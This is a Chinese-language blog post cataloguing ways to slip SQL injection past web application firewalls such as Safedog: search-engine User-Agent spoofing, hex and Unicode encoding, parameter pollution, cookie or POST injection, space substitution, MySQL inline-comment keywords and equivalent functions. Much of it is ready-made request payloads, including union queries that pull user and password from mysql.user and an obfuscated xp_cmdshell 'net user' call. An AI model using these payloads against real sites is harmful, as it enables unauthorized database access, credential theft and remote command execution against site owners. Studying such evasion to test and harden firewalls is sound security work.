美文网首页
绕过waf方法

绕过waf方法

作者: gunginer | 来源:发表于2019-11-23 23:55 被阅读0次

    参考:绕过WAF、安全狗知识整理 - 珍惜少年时 - 博客园

    SQL注入 | 9种绕过Web应用程序防火墙的方式 - FreeBuf互联网安全新媒体平台

    目前市场上的WAF主要有以下几类

    1. 以安全狗为代表的基于软件WAF

    2. 百度加速乐、安全宝等部署在云端的WAF

    3. 硬件WAF

    WAF的检测主要有三个阶段,我画了一张图进行说明


    WAF身份认证阶段的绕过

    WAF是有一个白名单的,在白名单内的客户请求将不做检测

    早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击。

    WAF数据包解析阶段的绕过

    (1)编码绕过

    urlencode(早期方法 不一定有用)

    Hex encode

    target.com/index.php?page_id=-15/*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…

       SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

    Unicode encode

    ?id=10%D6‘%20AND%201=2%23      SELECT'Ä'='A';#1


    (2)修改请求方式绕过

    我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

    (3)复参数绕过

    通过提供多个参数=相同名称的值集来混淆WAF。例如http://example.com?id=1&?id=’or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

    例如一个请求是这样的

    GET /pen/news.PHP?id=1 union select user,password fromMySQL.user

    可以修改为

    GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

    很多WAF都可以这样绕,测试最新版安全狗能绕过部分语句

    WAF触发规则的绕过

    WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。

    (1)特殊字符替换空格

    用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

    (2)特殊字符拼接

    把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

    比如

    GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

    可改为

    GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

    (3)注释包含关键字

    在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的安全狗可以完美绕过

    GET /pen/news.php?id=1 union selectuser,password frommysql.user  

    改为

    GET /pen/news.php?id=1 /*!union*//*!select*/user,password /*!from*/mysql.user

    (4)某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

    hex()、bin() ==>ascii()

    sleep() ==>benchmark()

    concat_ws()==>group_concat() substr((select'password'),1,1) =0x70

    strcmp(left('password',1),0x69) =1

    strcmp(left('password',1),0x70) =0

    strcmp(left('password',1),0x71) =-1

    mid()、substr() ==>substring()

    @@user ==>user()

    @@datadir ==>datadir()

    相关文章

      网友评论

          本文标题:绕过waf方法

          本文链接:https://www.haomeiwen.com/subject/wlukwctx.html